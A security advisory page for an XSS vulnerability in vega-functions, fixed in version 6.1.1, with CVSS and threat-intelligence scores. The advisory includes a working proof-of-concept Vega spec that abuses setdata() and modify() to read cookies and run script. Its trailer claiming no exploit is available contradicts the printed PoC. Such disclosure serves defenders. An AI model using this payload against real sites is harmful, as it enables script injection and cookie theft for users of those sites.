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GHSA-m9rg-mr6g-75gm

HighCVSS 7.2 / 10
Published Jan 5, 2026·Last modified Feb 3, 2026
Affected Components(0)

No affected components available

Description

Impact

For sites that allow users to supply untrusted user input, malicious use of an internal function (not part of the public API) could be used to run unintentional javascript (XSS).

Patches

Fixed in vega-functions 6.1.1

Workarounds

There is no workaround besides upgrading. Using vega.expressionInterpreter as described in CSP safe mode does not prevent this issue.

Exploit Proof of Concept

Vega's expression modify() function, used by setdata, allows attacker to control both the method called and the values supplied, which results to XSS . This was a previous POC:

{
  "$schema": "https://vega.github.io/schema/vega/v6.json",
  "data": [
    {
      "name": "table",
      "values": [
        {"category": "A", "amount": 28}
      ]
    }
  ],
  "signals": [
    {
      "name": "tooltip",
      "value": {},
      "on": [
        {"events": {"type":"timer","throttle":2000}, "update": "setdata('table',[['Domain: '+event.dataflow._el.ownerDocument.domain+' , cookies: '+ event.dataflow._el.ownerDocument.cookie ]])+warn('XSS is here', modify('table',2,3,null,event.dataflow._el.ownerDocument.defaultView.alert,{'tttt':'yyyy'}) )"},
        {"events": "rect:pointerout",  "update": "{}"}
      ]
    }
  ]
}
Risk Scores
Base Score
7.2

The vulnerability can be exploited over the network without needing physical access. It is easy for an attacker to exploit this vulnerability. An attacker does not need any special privileges or access rights. No user interaction is needed for the attacker to exploit this vulnerability. The vulnerability can affect other systems as well, not just the initial system. There is a low impact on the confidentiality of the information. There is a low impact on the integrity of the data.

Threat Intelligence
6.6

Exploitation attempts have been detected. Elevated vigilance and prompt remediation are advised.

EPSS
0.18%

The exploit probability is very low. The vulnerability is unlikely to be exploited in the next 30 days.

Exploit
Not available

We did not find any exploit available. Neither in GitHub repositories nor in the Exploit-Database.

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